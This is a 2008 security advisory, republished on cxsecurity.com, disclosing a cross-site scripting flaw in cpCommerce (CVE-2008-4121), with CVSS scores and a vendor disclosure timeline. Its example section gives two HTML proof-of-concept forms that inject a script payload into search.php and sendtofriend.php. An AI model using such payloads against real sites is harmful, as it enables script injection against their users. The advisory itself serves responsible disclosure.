Cross Site Scripting (XSS) Vulnerabilitiy in cpcommerce

Published
Credit
Risk
2008.10.22
Fabian Fingerle
Low
CWE
CVE
Local
Remote
CWE-79
CVE-2008-4121
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

Cross Site Scripting (XSS) Vulnerabilitiy in cpcommerce,
CVE-2008-4121

References

http://www.datensalat.eu/~fabian/cve/CVE-2008-4121-cpcommerce.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4121
http://cpcommerce.cpradio.org/

Description

cpCommerce is an open-source e-commerce solution that is maintained by
templates and modules.

Example

Assuming cpcommerce is installed on http://localhost/cpcommerce/,
anybody could inject JavaScript:

<form method="post" action="http://localhost/cpcommerce/search.php">
<input type="hidden" name="action" value="search.quick">
<input type="text" name="search" value='"><script>alert(1)</script>'>
<input type=submit></form>

<form method="post" action="http://localhost/cpcommerce/sendtofriend.php"> <input
type="hidden" name="action" value="sendtofriend">
<input type="text" name="name" value='"><script>alert(1)</script>'>
<input type=submit></form>

Disclosure Timeline

2008-09-23 Vendor contacted
2008-09-23 Vendor released 1.2.4
2008-10-19 Published advisory

CVE Information

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-4121 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

Credits and copyright

This vulnerability was discovered by Fabian Fingerle (published with
help from Hanno Boeck [0]). It's licensed under the creative commons
attribution license.

Fabian Fingerle, 2008-09-04, http://www.fabian-fingerle.de

[0] http://www.hboeck.de
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)

iEYEARECAAYFAkj7rksACgkQ/aNqCatBq4WLcACglcv07jybfc5wu+MaR87Z9USV
PswAmweNb9BpkS4pLc6Z6lOaLTHeSh8n
=2C7v
-----END PGP SIGNATURE-----

References:

http://www.securityfocus.com/archive/1/archive/1/497545/100/0/threaded
http://www.datensalat.eu/~fabian/cve/CVE-2008-4121-cpcommerce.html
http://secunia.com/advisories/32353
http://cpcommerce.cpradio.org/


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com